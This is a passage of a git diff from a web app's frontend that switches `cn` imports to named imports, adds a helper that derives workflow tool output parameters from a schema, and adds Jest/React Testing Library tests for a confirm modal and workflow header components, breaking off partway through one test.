 import Confirm from '@/app/components/base/confirm'
diff --git a/web/app/components/tools/provider/empty.tsx b/web/app/components/tools/provider/empty.tsx
index 4d69dc1076..bbd0f6fec1 100644
--- a/web/app/components/tools/provider/empty.tsx
+++ b/web/app/components/tools/provider/empty.tsx
@@ -3,7 +3,7 @@ import { useTranslation } from 'react-i18next'
 import { ToolTypeEnum } from '../../workflow/block-selector/types'
 import { RiArrowRightUpLine } from '@remixicon/react'
 import Link from 'next/link'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { NoToolPlaceholder } from '../../base/icons/src/vender/other'
 import useTheme from '@/hooks/use-theme'
 type Props = {
diff --git a/web/app/components/tools/provider/tool-item.tsx b/web/app/components/tools/provider/tool-item.tsx
index 7ad202fca5..7edf1c61f1 100644
--- a/web/app/components/tools/provider/tool-item.tsx
+++ b/web/app/components/tools/provider/tool-item.tsx
@@ -2,7 +2,7 @@
 import React, { useState } from 'react'
 import { useContext } from 'use-context-selector'
 import type { Collection, Tool } from '../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import I18n from '@/context/i18n'
 import { getLanguage } from '@/i18n-config/language'
 import SettingBuiltInTool from '@/app/components/app/configuration/config/agent/agent-tools/setting-built-in-tool'
diff --git a/web/app/components/tools/setting/build-in/config-credentials.tsx b/web/app/components/tools/setting/build-in/config-credentials.tsx
index f6b9c05c44..5effeaa47d 100644
--- a/web/app/components/tools/setting/build-in/config-credentials.tsx
+++ b/web/app/components/tools/setting/build-in/config-credentials.tsx
@@ -4,7 +4,7 @@ import React, { useEffect, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { addDefaultValue, toolCredentialToFormSchemas } from '../../utils/to-form-schema'
 import type { Collection } from '../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Drawer from '@/app/components/base/drawer-plus'
 import Button from '@/app/components/base/button'
 import Toast from '@/app/components/base/toast'
diff --git a/web/app/components/tools/workflow-tool/configure-button.tsx b/web/app/components/tools/workflow-tool/configure-button.tsx
index f66a311155..0feee28abf 100644
--- a/web/app/components/tools/workflow-tool/configure-button.tsx
+++ b/web/app/components/tools/workflow-tool/configure-button.tsx
@@ -4,7 +4,7 @@ import { useTranslation } from 'react-i18next'
 import { useRouter } from 'next/navigation'
 import { RiArrowRightUpLine, RiHammerLine } from '@remixicon/react'
 import Divider from '../../base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Indicator from '@/app/components/header/indicator'
 import WorkflowToolModal from '@/app/components/tools/workflow-tool'
diff --git a/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx b/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx
new file mode 100644
index 0000000000..c57a2891e3
--- /dev/null
+++ b/web/app/components/tools/workflow-tool/confirm-modal/index.spec.tsx
@@ -0,0 +1,285 @@
+import React from 'react'
+import { act, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ConfirmModal from './index'
+
+// Test utilities
+const defaultProps = {
+  show: true,
+  onClose: jest.fn(),
+  onConfirm: jest.fn(),
+}
+
+const renderComponent = (props: Partial<React.ComponentProps<typeof ConfirmModal>> = {}) => {
+  const mergedProps = { ...defaultProps, ...props }
+  return render(<ConfirmModal {...mergedProps} />)
+}
+
+describe('ConfirmModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should render when show prop is true', () => {
+      // Arrange & Act
+      renderComponent({ show: true })
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+    })
+
+    it('should not render when show prop is false', () => {
+      // Arrange & Act
+      renderComponent({ show: false })
+
+      // Assert
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+    })
+
+    it('should render warning icon with proper styling', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const iconContainer = document.querySelector('.rounded-xl')
+      expect(iconContainer).toBeInTheDocument()
+      expect(iconContainer).toHaveClass('border-[0.5px]')
+      expect(iconContainer).toHaveClass('bg-background-section')
+    })
+
+    it('should render translated title and description', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('tools.createTool.confirmTitle')).toBeInTheDocument()
+      expect(screen.getByText('tools.createTool.confirmTip')).toBeInTheDocument()
+    })
+
+    it('should render action buttons with translated text', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      expect(screen.getByText('common.operation.cancel')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.confirm')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should handle missing onConfirm prop gracefully', () => {
+      // Arrange & Act - Should not crash when onConfirm is undefined
+      expect(() => {
+        renderComponent({ onConfirm: undefined })
+      }).not.toThrow()
+
+      // Assert
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+      expect(screen.getByText('common.operation.confirm')).toBeInTheDocument()
+    })
+
+    it('should apply default styling and width constraints', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert - Check for the dialog panel with modal content
+      // The real modal structure has nested divs, we need to find the one with our classes
+      const dialogContent = document.querySelector('.relative.rounded-2xl')
+      expect(dialogContent).toBeInTheDocument()
+      expect(dialogContent).toHaveClass('w-[600px]')
+      expect(dialogContent).toHaveClass('max-w-[600px]')
+      expect(dialogContent).toHaveClass('p-8')
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call onClose when close button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+      renderComponent({ onClose })
+
+      // Act - Find the close button and click it
+      const closeButton = document.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument() // Ensure the button is found before clicking
+      await user.click(closeButton!)
+
+      // Assert
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClose when cancel button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+      renderComponent({ onClose })
+
+      // Act
+      const cancelButton = screen.getByText('common.operation.cancel')
+      await user.click(cancelButton)
+
+      // Assert
+      expect(onClose).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onConfirm when confirm button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onConfirm = jest.fn()
+      renderComponent({ onConfirm })
+
+      // Act
+      const confirmButton = screen.getByText('common.operation.confirm')
+      await user.click(confirmButton)
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not throw error when confirm button is clicked without onConfirm', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderComponent({ onConfirm: undefined })
+      const confirmButton = screen.getByText('common.operation.confirm')
+
+      // Act & Assert - This will fail the test if user.click throws an unhandled error
+      await user.click(confirmButton)
+    })
+
+    it('should have correct button variants', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const confirmButton = screen.getByText('common.operation.confirm')
+      expect(confirmButton).toHaveClass('btn-warning')
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle rapid show/hide toggling', async () => {
+      // Arrange
+      const { rerender } = renderComponent({ show: false })
+
+      // Assert - Initially not shown
+      expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+
+      // Act - Show modal
+      await act(async () => {
+        rerender(<ConfirmModal {...defaultProps} show={true} />)
+      })
+
+      // Assert - Now shown
+      expect(screen.getByRole('dialog')).toBeInTheDocument()
+
+      // Act - Hide modal again
+      await act(async () => {
+        rerender(<ConfirmModal {...defaultProps} show={false} />)
+      })
+
+      // Assert - Hidden again (wait for transition to complete)
+      await waitFor(() => {
+        expect(screen.queryByRole('dialog')).not.toBeInTheDocument()
+      })
+    })
+
+    it('should handle multiple quick clicks on close button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+      renderComponent({ onClose })
+
+      const closeButton = document.querySelector('.cursor-pointer')
+      expect(closeButton).toBeInTheDocument() // Ensure the button is found before clicking
+
+      // Act
+      await user.click(closeButton!)
+      await user.click(closeButton!)
+      await user.click(closeButton!)
+
+      // Assert
+      expect(onClose).toHaveBeenCalledTimes(3)
+    })
+
+    it('should handle multiple quick clicks on confirm button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onConfirm = jest.fn()
+      renderComponent({ onConfirm })
+
+      // Act
+      const confirmButton = screen.getByText('common.operation.confirm')
+      await user.click(confirmButton)
+      await user.click(confirmButton)
+      await user.click(confirmButton)
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledTimes(3)
+    })
+
+    it('should handle multiple quick clicks on cancel button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onClose = jest.fn()
+      renderComponent({ onClose })
+
+      // Act - Click cancel button twice
+      const cancelButton = screen.getByText('common.operation.cancel')
+      await user.click(cancelButton)
+      await user.click(cancelButton)
+
+      // Assert
+      expect(onClose).toHaveBeenCalledTimes(2)
+    })
+  })
+
+  // Accessibility tests
+  describe('Accessibility', () => {
+    it('should have proper button roles', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      expect(buttons).toHaveLength(2)
+      expect(buttons[0]).toHaveTextContent('common.operation.cancel')
+      expect(buttons[1]).toHaveTextContent('common.operation.confirm')
+    })
+
+    it('should have proper text hierarchy', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const title = screen.getByText('tools.createTool.confirmTitle')
+      expect(title).toBeInTheDocument()
+
+      const description = screen.getByText('tools.createTool.confirmTip')
+      expect(description).toBeInTheDocument()
+    })
+
+    it('should have focusable interactive elements', () => {
+      // Arrange & Act
+      renderComponent()
+
+      // Assert
+      const buttons = screen.getAllByRole('button')
+      buttons.forEach((button) => {
+        expect(button).toBeEnabled()
+      })
+    })
+  })
+})
diff --git a/web/app/components/tools/workflow-tool/confirm-modal/index.tsx b/web/app/components/tools/workflow-tool/confirm-modal/index.tsx
index 1327adc7e5..e76ad4add4 100644
--- a/web/app/components/tools/workflow-tool/confirm-modal/index.tsx
+++ b/web/app/components/tools/workflow-tool/confirm-modal/index.tsx
@@ -2,7 +2,7 @@
 
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Modal from '@/app/components/base/modal'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
diff --git a/web/app/components/tools/workflow-tool/index.tsx b/web/app/components/tools/workflow-tool/index.tsx
index 7ce5acb228..3d70f1f424 100644
--- a/web/app/components/tools/workflow-tool/index.tsx
+++ b/web/app/components/tools/workflow-tool/index.tsx
@@ -4,7 +4,8 @@ import React, { useMemo, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { produce } from 'immer'
 import type { Emoji, WorkflowToolProviderOutputParameter, WorkflowToolProviderParameter, WorkflowToolProviderRequest } from '../types'
-import cn from '@/utils/classnames'
+import { buildWorkflowOutputParameters } from './utils'
+import { cn } from '@/utils/classnames'
 import Drawer from '@/app/components/base/drawer-plus'
 import Input from '@/app/components/base/input'
 import Textarea from '@/app/components/base/textarea'
@@ -47,7 +48,9 @@ const WorkflowToolAsModal: FC<Props> = ({
   const [name, setName] = useState(payload.name)
   const [description, setDescription] = useState(payload.description)
   const [parameters, setParameters] = useState<WorkflowToolProviderParameter[]>(payload.parameters)
-  const outputParameters = useMemo<WorkflowToolProviderOutputParameter[]>(() => payload.outputParameters, [payload.outputParameters])
+  const rawOutputParameters = payload.outputParameters
+  const outputSchema = payload.tool?.output_schema
+  const outputParameters = useMemo<WorkflowToolProviderOutputParameter[]>(() => buildWorkflowOutputParameters(rawOutputParameters, outputSchema), [rawOutputParameters, outputSchema])
   const reservedOutputParameters: WorkflowToolProviderOutputParameter[] = [
     {
       name: 'text',
diff --git a/web/app/components/tools/workflow-tool/method-selector.tsx b/web/app/components/tools/workflow-tool/method-selector.tsx
index 4edaa6c143..03eb651ba3 100644
--- a/web/app/components/tools/workflow-tool/method-selector.tsx
+++ b/web/app/components/tools/workflow-tool/method-selector.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/tools/workflow-tool/utils.test.ts b/web/app/components/tools/workflow-tool/utils.test.ts
new file mode 100644
index 0000000000..fef8c05489
--- /dev/null
+++ b/web/app/components/tools/workflow-tool/utils.test.ts
@@ -0,0 +1,47 @@
+import { VarType } from '@/app/components/workflow/types'
+import type { WorkflowToolProviderOutputParameter, WorkflowToolProviderOutputSchema } from '../types'
+import { buildWorkflowOutputParameters } from './utils'
+
+describe('buildWorkflowOutputParameters', () => {
+  it('returns provided output parameters when array input exists', () => {
+    const params: WorkflowToolProviderOutputParameter[] = [
+      { name: 'text', description: 'final text', type: VarType.string },
+    ]
+
+    const result = buildWorkflowOutputParameters(params, null)
+
+    expect(result).toBe(params)
+  })
+
+  it('derives parameters from schema when explicit array missing', () => {
+    const schema: WorkflowToolProviderOutputSchema = {
+      type: 'object',
+      properties: {
+        answer: {
+          type: VarType.string,
+          description: 'AI answer',
+        },
+        attachments: {
+          type: VarType.arrayFile,
+          description: 'Supporting files',
+        },
+        unknown: {
+          type: 'custom',
+          description: 'Unsupported type',
+        },
+      },
+    }
+
+    const result = buildWorkflowOutputParameters(undefined, schema)
+
+    expect(result).toEqual([
+      { name: 'answer', description: 'AI answer', type: VarType.string },
+      { name: 'attachments', description: 'Supporting files', type: VarType.arrayFile },
+      { name: 'unknown', description: 'Unsupported type', type: undefined },
+    ])
+  })
+
+  it('returns empty array when no source information is provided', () => {
+    expect(buildWorkflowOutputParameters(null, null)).toEqual([])
+  })
+})
diff --git a/web/app/components/tools/workflow-tool/utils.ts b/web/app/components/tools/workflow-tool/utils.ts
new file mode 100644
index 0000000000..80d832fb47
--- /dev/null
+++ b/web/app/components/tools/workflow-tool/utils.ts
@@ -0,0 +1,28 @@
+import type { WorkflowToolProviderOutputParameter, WorkflowToolProviderOutputSchema } from '../types'
+import { VarType } from '@/app/components/workflow/types'
+
+const validVarTypes = new Set<string>(Object.values(VarType))
+
+const normalizeVarType = (type?: string): VarType | undefined => {
+  if (!type)
+    return undefined
+
+  return validVarTypes.has(type) ? type as VarType : undefined
+}
+
+export const buildWorkflowOutputParameters = (
+  outputParameters: WorkflowToolProviderOutputParameter[] | null | undefined,
+  outputSchema?: WorkflowToolProviderOutputSchema | null,
+): WorkflowToolProviderOutputParameter[] => {
+  if (Array.isArray(outputParameters))
+    return outputParameters
+
+  if (!outputSchema?.properties)
+    return []
+
+  return Object.entries(outputSchema.properties).map(([name, schema]) => ({
+    name,
+    description: schema.description,
+    type: normalizeVarType(schema.type),
+  }))
+}
diff --git a/web/app/components/workflow-app/components/workflow-header/chat-variable-trigger.spec.tsx b/web/app/components/workflow-app/components/workflow-header/chat-variable-trigger.spec.tsx
new file mode 100644
index 0000000000..fa9d8e437c
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-header/chat-variable-trigger.spec.tsx
@@ -0,0 +1,72 @@
+import { render, screen } from '@testing-library/react'
+import ChatVariableTrigger from './chat-variable-trigger'
+
+const mockUseNodesReadOnly = jest.fn()
+const mockUseIsChatMode = jest.fn()
+
+jest.mock('@/app/components/workflow/hooks', () => ({
+  __esModule: true,
+  useNodesReadOnly: () => mockUseNodesReadOnly(),
+}))
+
+jest.mock('../../hooks', () => ({
+  __esModule: true,
+  useIsChatMode: () => mockUseIsChatMode(),
+}))
+
+jest.mock('@/app/components/workflow/header/chat-variable-button', () => ({
+  __esModule: true,
+  default: ({ disabled }: { disabled: boolean }) => (
+    <button data-testid='chat-variable-button' type='button' disabled={disabled}>
+      ChatVariableButton
+    </button>
+  ),
+}))
+
+describe('ChatVariableTrigger', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Verifies conditional rendering when chat mode is off.
+  describe('Rendering', () => {
+    it('should not render when not in chat mode', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(false)
+      mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: false })
+
+      // Act
+      render(<ChatVariableTrigger />)
+
+      // Assert
+      expect(screen.queryByRole('button', { name: 'ChatVariableButton' })).not.toBeInTheDocument()
+    })
+  })
+
+  // Verifies the disabled state reflects read-only nodes.
+  describe('Props', () => {
+    it('should render enabled ChatVariableButton when nodes are editable', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(true)
+      mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: false })
+
+      // Act
+      render(<ChatVariableTrigger />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: 'ChatVariableButton' })).toBeEnabled()
+    })
+
+    it('should render disabled ChatVariableButton when nodes are read-only', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(true)
+      mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: true })
+
+      // Act
+      render(<ChatVariableTrigger />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: 'ChatVariableButton' })).toBeDisabled()
+    })
+  })
+})
diff --git a/web/app/components/workflow-app/components/workflow-header/features-trigger.spec.tsx b/web/app/components/workflow-app/components/workflow-header/features-trigger.spec.tsx
new file mode 100644
index 0000000000..5e21e54fb3
--- /dev/null
+++ b/web/app/components/workflow-app/components/workflow-header/features-trigger.spec.tsx
@@ -0,0 +1,479 @@
+import type { ReactElement } from 'react'
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import { Plan } from '@/app/components/billing/type'
+import type { AppPublisherProps } from '@/app/components/app/app-publisher'
+import { ToastContext } from '@/app/components/base/toast'
+import { BlockEnum, InputVarType } from '@/app/components/workflow/types'
+import FeaturesTrigger from './features-trigger'
+
+const mockUseIsChatMode = jest.fn()
+const mockUseTheme = jest.fn()
+const mockUseNodesReadOnly = jest.fn()
+const mockUseChecklist = jest.fn()
+const mockUseChecklistBeforePublish = jest.fn()
+const mockUseNodesSyncDraft = jest.fn()
+const mockUseFeatures = jest.fn()
+const mockUseProviderContext = jest.fn()
+const mockUseNodes = jest.fn()
+const mockUseEdges = jest.fn()
+const mockUseAppStoreSelector = jest.fn()
+
+const mockNotify = jest.fn()
+const mockHandleCheckBeforePublish = jest.fn()
+const mockHandleSyncWorkflowDraft = jest.fn()
+const mockPublishWorkflow = jest.fn()
+const mockUpdatePublishedWorkflow = jest.fn()
+const mockResetWorkflowVersionHistory = jest.fn()
+const mockInvalidateAppTriggers = jest.fn()
+const mockFetchAppDetail = jest.fn()
+const mockSetAppDetail = jest.fn()
+const mockSetPublishedAt = jest.fn()
+const mockSetLastPublishedHasUserInput = jest.fn()
+
+const mockWorkflowStoreSetState = jest.fn()
+const mockWorkflowStoreSetShowFeaturesPanel = jest.fn()
+
+let workflowStoreState = {
+  showFeaturesPanel: false,
+  isRestoring: false,
+  setShowFeaturesPanel: mockWorkflowStoreSetShowFeaturesPanel,
+  setPublishedAt: mockSetPublishedAt,
+  setLastPublishedHasUserInput: mockSetLastPublishedHasUserInput,
+}
+
+const mockWorkflowStore = {
+  getState: () => workflowStoreState,
+  setState: mockWorkflowStoreSetState,
+}
+
+jest.mock('@/app/components/workflow/hooks', () => ({
+  __esModule: true,
+  useChecklist: (...args: unknown[]) => mockUseChecklist(...args),
+  useChecklistBeforePublish: () => mockUseChecklistBeforePublish(),
+  useNodesReadOnly: () => mockUseNodesReadOnly(),
+  useNodesSyncDraft: () => mockUseNodesSyncDraft(),
+  useIsChatMode: () => mockUseIsChatMode(),
+}))
+
+jest.mock('@/app/components/workflow/store', () => ({
+  __esModule: true,
+  useStore: (selector: (state: Record<string, unknown>) => unknown) => {
+    const state: Record<string, unknown> = {
+      publishedAt: null,
+      draftUpdatedAt: null,
+      toolPublished: false,
+      lastPublishedHasUserInput: false,
+    }
+    return selector(state)
+  },
+  useWorkflowStore: () => mockWorkflowStore,
+}))
+
+jest.mock('@/app/components/base/features/hooks', () => ({
+  __esModule: true,
+  useFeatures: (selector: (state: Record<string, unknown>) => unknown) => mockUseFeatures(selector),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  __esModule: true,
+  useProviderContext: () => mockUseProviderContext(),
+}))
+
+jest.mock('@/app/components/workflow/store/workflow/use-nodes', () => ({
+  __esModule: true,
+  default: () => mockUseNodes(),
+}))
+
+jest.mock('reactflow', () => ({
+  __esModule: true,
+  useEdges: () => mockUseEdges(),
+}))
+
+jest.mock('@/app/components/app/app-publisher', () => ({
+  __esModule: true,
+  default: (props: AppPublisherProps) => {
+    const inputs = props.inputs ?? []
+    return (
+      <div
+        data-testid='app-publisher'
+        data-disabled={String(Boolean(props.disabled))}
+        data-publish-disabled={String(Boolean(props.publishDisabled))}
+        data-start-node-limit-exceeded={String(Boolean(props.startNodeLimitExceeded))}
+        data-has-trigger-node={String(Boolean(props.hasTriggerNode))}
+        data-inputs={JSON.stringify(inputs)}
+      >
+        <button type="button" onClick={() => { props.onRefreshData?.() }}>
+          publisher-refresh
+        </button>
+        <button type="button" onClick={() => { props.onToggle?.(true) }}>
+          publisher-toggle-on
+        </button>
+        <button type="button" onClick={() => { props.onToggle?.(false) }}>
+          publisher-toggle-off
+        </button>
+        <button type="button" onClick={() => { Promise.resolve(props.onPublish?.()).catch(() => undefined) }}>
+          publisher-publish
+        </button>
+        <button type="button" onClick={() => { Promise.resolve(props.onPublish?.({ title: 'Test title', releaseNotes: 'Test notes' })).catch(() => undefined) }}>
+          publisher-publish-with-params
+        </button>
+      </div>
+    )
+  },
+}))
+
+jest.mock('@/service/use-workflow', () => ({
+  __esModule: true,
+  useInvalidateAppWorkflow: () => mockUpdatePublishedWorkflow,
+  usePublishWorkflow: () => ({ mutateAsync: mockPublishWorkflow }),
+  useResetWorkflowVersionHistory: () => mockResetWorkflowVersionHistory,
+}))
+
+jest.mock('@/service/use-tools', () => ({
+  __esModule: true,
+  useInvalidateAppTriggers: () => mockInvalidateAppTriggers,
+}))
+
+jest.mock('@/service/apps', () => ({
+  __esModule: true,
+  fetchAppDetail: (...args: unknown[]) => mockFetchAppDetail(...args),
+}))
+
+jest.mock('@/hooks/use-theme', () => ({
+  __esModule: true,
+  default: () => mockUseTheme(),
+}))
+
+jest.mock('@/app/components/app/store', () => ({
+  __esModule: true,
+  useStore: (selector: (state: { appDetail?: { id: string }; setAppDetail: typeof mockSetAppDetail }) => unknown) => mockUseAppStoreSelector(selector),
+}))
+
+const createProviderContext = ({
+  type = Plan.sandbox,
+  isFetchedPlan = true,
+}: {
+  type?: Plan
+  isFetchedPlan?: boolean
+}) => ({
+  plan: { type },
+  isFetchedPlan,
+})
+
+const renderWithToast = (ui: ReactElement) => {
+  return render(
+    <ToastContext.Provider value={{ notify: mockNotify, close: jest.fn() }}>
+      {ui}
+    </ToastContext.Provider>,
+  )
+}
+
+describe('FeaturesTrigger', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    workflowStoreState = {
+      showFeaturesPanel: false,
+      isRestoring: false,
+      setShowFeaturesPanel: mockWorkflowStoreSetShowFeaturesPanel,
+      setPublishedAt: mockSetPublishedAt,
+      setLastPublishedHasUserInput: mockSetLastPublishedHasUserInput,
+    }
+
+    mockUseTheme.mockReturnValue({ theme: 'light' })
+    mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: false, getNodesReadOnly: () => false })
+    mockUseChecklist.mockReturnValue([])
+    mockUseChecklistBeforePublish.mockReturnValue({ handleCheckBeforePublish: mockHandleCheckBeforePublish })
+    mockHandleCheckBeforePublish.mockResolvedValue(true)
+    mockUseNodesSyncDraft.mockReturnValue({ handleSyncWorkflowDraft: mockHandleSyncWorkflowDraft })
+    mockUseFeatures.mockImplementation((selector: (state: Record<string, unknown>) => unknown) => selector({ features: { file: {} } }))
+    mockUseProviderContext.mockReturnValue(createProviderContext({}))
+    mockUseNodes.mockReturnValue([])
+    mockUseEdges.mockReturnValue([])
+    mockUseAppStoreSelector.mockImplementation(selector => selector({ appDetail: { id: 'app-id' }, setAppDetail: mockSetAppDetail }))
+    mockFetchAppDetail.mockResolvedValue({ id: 'app-id' })
+    mockPublishWorkflow.mockResolvedValue({ created_at: '2024-01-01T00:00:00Z' })
+  })
+
+  // Verifies the feature toggle button only appears in chatflow mode.
+  describe('Rendering', () => {
+    it('should not render the features button when not in chat mode', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(false)
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      expect(screen.queryByRole('button', { name: /workflow\.common\.features/i })).not.toBeInTheDocument()
+    })
+
+    it('should render the features button when in chat mode', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(true)
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /workflow\.common\.features/i })).toBeInTheDocument()
+    })
+
+    it('should apply dark theme styling when theme is dark', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(true)
+      mockUseTheme.mockReturnValue({ theme: 'dark' })
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /workflow\.common\.features/i })).toHaveClass('rounded-lg')
+    })
+  })
+
+  // Verifies user clicks toggle the features panel visibility.
+  describe('User Interactions', () => {
+    it('should toggle features panel when clicked and nodes are editable', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUseIsChatMode.mockReturnValue(true)
+      mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: false, getNodesReadOnly: () => false })
+
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: /workflow\.common\.features/i }))
+
+      // Assert
+      expect(mockWorkflowStoreSetShowFeaturesPanel).toHaveBeenCalledWith(true)
+    })
+  })
+
+  // Covers read-only gating that prevents toggling unless restoring.
+  describe('Edge Cases', () => {
+    it('should not toggle features panel when nodes are read-only and not restoring', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      mockUseIsChatMode.mockReturnValue(true)
+      mockUseNodesReadOnly.mockReturnValue({ nodesReadOnly: true, getNodesReadOnly: () => true })
+      workflowStoreState = {
+        ...workflowStoreState,
+        isRestoring: false,
+      }
+
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: /workflow\.common\.features/i }))
+
+      // Assert
+      expect(mockWorkflowStoreSetShowFeaturesPanel).not.toHaveBeenCalled()
+    })
+  })
+
+  // Verifies the publisher reflects the presence of workflow nodes.
+  describe('Props', () => {
+    it('should disable AppPublisher when there are no workflow nodes', () => {
+      // Arrange
+      mockUseIsChatMode.mockReturnValue(false)
+      mockUseNodes.mockReturnValue([])
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      expect(screen.getByTestId('app-publisher')).toHaveAttribute('data-disabled', 'true')
+    })
+  })
+
+  // Verifies derived props passed into AppPublisher (variables, limits, and triggers).
+  describe('Computed Props', () => {
+    it('should append image input when file image upload is enabled', () => {
+      // Arrange
+      mockUseFeatures.mockImplementation((selector: (state: Record<string, unknown>) => unknown) => selector({
+        features: { file: { image: { enabled: true } } },
+      }))
+      mockUseNodes.mockReturnValue([
+        { id: 'start', data: { type: BlockEnum.Start } },
+      ])
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      const inputs = JSON.parse(screen.getByTestId('app-publisher').getAttribute('data-inputs') ?? '[]') as Array<{
+        type?: string
+        variable?: string
+        required?: boolean
+        label?: string
+      }>
+      expect(inputs).toContainEqual({
+        type: InputVarType.files,
+        variable: '__image',
+        required: false,
+        label: 'files',
+      })
+    })
+
+    it('should set startNodeLimitExceeded when sandbox entry limit is exceeded', () => {
+      // Arrange
+      mockUseNodes.mockReturnValue([
+        { id: 'start', data: { type: BlockEnum.Start } },
+        { id: 'trigger-1', data: { type: BlockEnum.TriggerWebhook } },
+        { id: 'trigger-2', data: { type: BlockEnum.TriggerSchedule } },
+        { id: 'end', data: { type: BlockEnum.End } },
+      ])
+
+      // Act
+      renderWithToast(<FeaturesTrigger />)
+
+      // Assert
+      const publisher = screen.getByTestId('app-publisher')
+      expect(publisher).toHaveAttribute('data-start-node-limit-exceeded', 'true')
+      expect(publisher).toHaveAttribute('data-publish-disabled', 'true')
+      expect(publisher).toHaveAttribute('data-has-trigger-node', 'true')
+    })
+  })
+
+  // Verifies callbacks wired from AppPublisher to stores and draft syncing.
+  describe('Callbacks', () => {
+    it('should set toolPublished when AppPublisher refreshes data', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-refresh' }))
+
+      // Assert
+      expect(mockWorkflowStoreSetState).toHaveBeenCalledWith({ toolPublished: true })
+    })
+
+    it('should sync workflow draft when AppPublisher toggles on', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      renderWithToast(<FeaturesTrigger />)
+
+      // Act
+      await user.click(screen.getByRole('button', { name: 'publisher-toggle-on' }))
+
+      // Assert
+      expect(mockHandleSyncWorkflowDraft).toHaveBeenCalledWith(true)
+    })
+
+    it('should not sync workflow draft when AppPublisher toggles off', async () => {
